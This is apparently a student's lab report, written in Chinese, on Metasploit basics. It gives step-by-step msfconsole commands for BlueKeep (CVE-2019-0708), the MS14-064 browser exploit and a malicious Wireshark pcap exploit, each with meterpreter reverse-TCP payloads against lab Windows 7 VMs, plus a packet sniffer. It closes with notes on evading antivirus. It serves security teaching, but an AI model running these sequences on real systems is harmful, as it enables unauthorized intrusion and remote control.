20182213 Exp6 MSF应用基础
1. 实验内容
1.1一个主动攻击实践,尽量使用最新的类似漏洞;
攻击方式:CVE-2019-0708
靶机:Microsoft Windows win7 x64 SP1 profession
1.1.1 漏洞介绍
该服务器漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的。这个漏洞是2019年来说危害严重性最大的漏洞。CVE-2019-0708漏洞是通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。如果被攻击者利用,会导致服务器入侵,中病毒,像WannaCry 永恒之蓝漏洞一样大规模的感染。2019年9月7日晚上凌晨1点左右,metaspolit更新了漏洞利用程序。在2019年5月,微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新,该漏洞也称为“BlueKeep”,漏洞存在于远程桌面服务的代码中。此漏洞是预身份验证,无需用户交互,因此具有潜在武器化蠕虫性漏洞利用的危险。如果成功利用此漏洞,则可以使用“系统”权限执行任意代码。Microsoft安全响应中心的建议表明这个漏洞也可能会成为一种蠕虫攻击行为,类似于Wannacry和EsteemAudit等攻击行为。由于此漏洞的严重性及其对用户的潜在影响,微软采取了罕见的预警步骤,为不再受支持的Windows XP操作系统发布补丁,以保护Windows用户。漏洞产生的原因是MS_T120信道被绑定两次(一次由RDPserver创建并绑定,第二次由我们发送数据包绑定)。由于信道绑定在两个不同的ID下,我们得到两个独立的引用。当使用其中的一个引用来关闭信道时,将删除该引用,信道对象也将释放。但是,另一个引用仍然存在。如果我们可以在第一次释放信道对象空间之后,通过内核POOL喷射,获得在该信道对象填充自定义数据的能力,在第二次调用IcaFreeChannel()进行空间释放时,由于该函数会引用已被控制的内核对象,就有机会造成读写任意内核地址进而达到任意代码执行的目的。
支持系统:
Windows XP for 32-bit Systems Service Pack 3
Windows 7 for 32-bit Systems
Windows 7 for x64-based Systems
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2003 for 32-bit Systems Service Pack 2
Windows Server 2003 R2 for 32-bit Systems Service Pack2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack2
Windows Server 2008 for x64-based Systems Service Pack2 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems ServicePack 1
Windows Server 2008 R2 for x64-based Systems ServicePack 1 (Server Core installation)
1.1.2 具体步骤
1.1.2.1 安装win7虚拟机
1.1.2.2 查看靶机ip
1.1.2.3 关闭win7防火墙
1.1.2.4 使用kali的metaspolit对漏洞进行利用
1)启动metasploit
2)搜索相关漏洞search cve_2019_0708
3)选择攻击漏洞use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
4)查看需要设置的内容show options
5)输入靶机IPset RHOSTS 172.16.148.134
6)对靶机扫描,看是否存在漏洞exploit
,可以看到存在该漏洞
7)存在漏洞选择攻击方式use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
8)输入靶机IPset RHOSTS 172.16.148.134
9)使用vmware的演示set target 3
,版本我使用的是苹果的vmware fusion对应版本发生变化
10)进行攻击run
,如果失败显示如下,可多运行几次
11)win7出现蓝屏,永恒之蓝,kali中显示攻击完成但是并没有建立会话,可能是target设置不正确
12)更换版本show targets标志有些不准确,我使用的是mac的vmware fusion12 版本,show targets的标识只有vm workstation的,此处我采用的是target 2,同时将set forceexploit true,设置成true,多试几次,成功获取win7主机的shell!
1.2 一个针对浏览器的攻击,尽量使用最新的类似漏洞;
攻击方式:ms14_064
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 –Win10+IE11全版本。
靶机:Microsoft Windows7 IE浏览器
具体步骤:
1.打开windows7对浏览器设置一下安全权限
2.控制面板->Internet 选项->安全->自定义级别->对没有标记为安全的ActiveX进行启用
3.高级->允许安装或运行软件,即使签名无效
4.kali输入代码
sudo msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST kali的ip //设置攻方
set AllowPowerShellPrompt true //因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST kali的ip
set LPORT 1328//自己的学号
set target 1 //设置win7靶机
exploit //发起渗透攻击
5.去靶机浏览器中输入URL生成代码
6.执行网址后,回到kali中攻击,注意观察kali中返回数值,出现下图会话时,ctrl+c停止攻击
7.输入sessions -i 1
实施攻击,获取权限成功
1.3 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞
攻击方式:WireShark1.4.2
靶机:Windows 7
具体步骤
1. kali中输入代码
use exploit/windows/fileformat/wireshark_packet_dect
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options //查看设置项
set LHOST 172.16.148.131 //kali IP
set LPORT 2213 //设置攻击端口
set FILENAME zy.pcap //设置生成的pcap文件名
exploit //发起攻击
2. 把生成的zy.pcap拷贝到靶机中
3. 然后再回到kali输入以下代码
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 172.16.148.131 //kali IP
set LPORT 2213 //设置攻击端口
exploit //监听
4. 在靶机中用wireshark打开zy这个文件
5. 回到kali中,发现链接成功,测试一下,获得靶机权限成功,同时我尝试在xp靶机中运行该程序,在打开监听时打开虚拟机中的win7靶机可以直接获得win7靶机的权限
1.4 成功利用任何一个辅助模块
攻击方式:sniffer(嗅探),可以用这个来查看靶机的浏览记录
靶机:Windows 7
具体步骤
1. 在kali的msfconsole中输入以下代码
search sniff //看一下嗅探的攻击
use auxiliary/sniffer/psnuffle //选择攻击操作
show options
exploit
2. 去windows 7里访问一个网址
3. kali中捕捉成功
2. 问题回答
2.1.基础问题回答
(1)用自己的话解释什么是exploit,payload,encode.
exploit就相当于是载具,将真正要负责攻击的代码传送到靶机中,渗透攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
payload相当于载荷,相当于我们之前实验的后门,exploit把它传送到靶机中后,它就负责执行相应的攻击代码,在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接
encode是编码,主要是为了避免payload中坏字符影响功能,其次是为了伪装,不让杀毒软件很轻易的就发现payload是攻击代码。
2.2.实践总结与体会
本次实践花费大量时间依旧是在装机上面,大量的时间被花费,一开始在做第一个CVE0708的时候由于win7系统的3389端口一直由于被保护的原因没有打开,导致msf扫描的时候一直显示没有漏洞浪费了很多时间,后来搜索打开3389的方法,并修改注册表才得以打开该端口,扫描发现漏洞,本次实验疯狂体会装机的感觉对虚拟机的运用更加的娴熟亲切。
2.3.离实战还缺些什么技术或步骤
信息搜集,实践中我们可以掌握靶机的系统版本,但是实际中我们需要了解目标的系统版本,然后有针对性地采取措施。并且还有掌握最新的漏洞信息,同时掌握靶机的系统版本,掌握它的补丁信息非常困难,一旦系统打过任何补丁,或者是让端口无法开放,即可导致无法进行攻击。
其次是要将后门程序悄无声息的放入靶机中这部看似简单,但是实际中要逃过杀软与人为的检测,需要伪装和免杀处理。同时网页浏览器会自动检测签名证书等信息让攻击无法进行,非常困难。